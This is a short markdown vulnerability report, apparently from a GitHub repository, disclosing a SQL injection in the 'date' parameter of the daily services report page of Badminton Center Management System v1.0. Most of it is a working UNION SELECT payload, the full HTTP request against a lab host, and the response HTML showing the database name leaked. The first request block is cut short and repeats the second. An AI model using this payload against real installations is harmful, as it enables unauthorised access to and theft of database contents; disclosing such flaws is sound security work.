debug601 Create SQLi-3.md History

1 contributor

26 lines (18 sloc) | 1.17 KB

Badminton Center Management System v1.0 by oretnom23 has SQL injection

vendors: https://www.sourcecodester.com/php/15318/badminton-center-management-system-phpoop-free-source-code.html

Vulnerability File: /bcms/admin/?page=reports/daily_services_report&date=

Vulnerability location: /bcms/admin/?page=reports/daily_services_report&date=, date

[+] Payload: /bcms/admin/?page=reports/daily_services_report&date=2022-05-27%27%20union%20select%201,2,3,4,database(),6,7--+ // Leak place ---> date

```
GET /bcms/admin/?page=reports/daily_services_report&date=2022-05-27%27%20union%20sel
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=qq2e8htekg3g2rkgtbq38p0jnv
Connection: close
```

```
GET
/bcms/admin/?page=reports/daily_services_report&date=2022-05-27%27%20union%20select%201,2,3,4,database(),6,7--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=qq2e8htekg3g2rkgtbq38p0jnv
Connection: close
```

```
                <col width="10%">
                <col width="15%">
        </colgroup>
        <thead>
                <tr>
                        <th>#</th>
                        <th>DateTime</th>
                        <th>Client</th>
                        <th>Service Name</th>
                        <th>Price</th>
                        <th>Qty</th>
                        <th>Total</th>
                </tr>
        </thead>
        <tbody>
                                                                <tr
                        <td class="text-center">1</td>
                        <td>Jan 01, 1970 08:00</td>
                        <td>bcms_db</td>
                        <td>6</td>
                        <td class='text-right'>3.00</td>
                        <td class='text-right'>4</td>
                        <td class='text-right'>12</td>
                </tr>
                                        </tbody>
```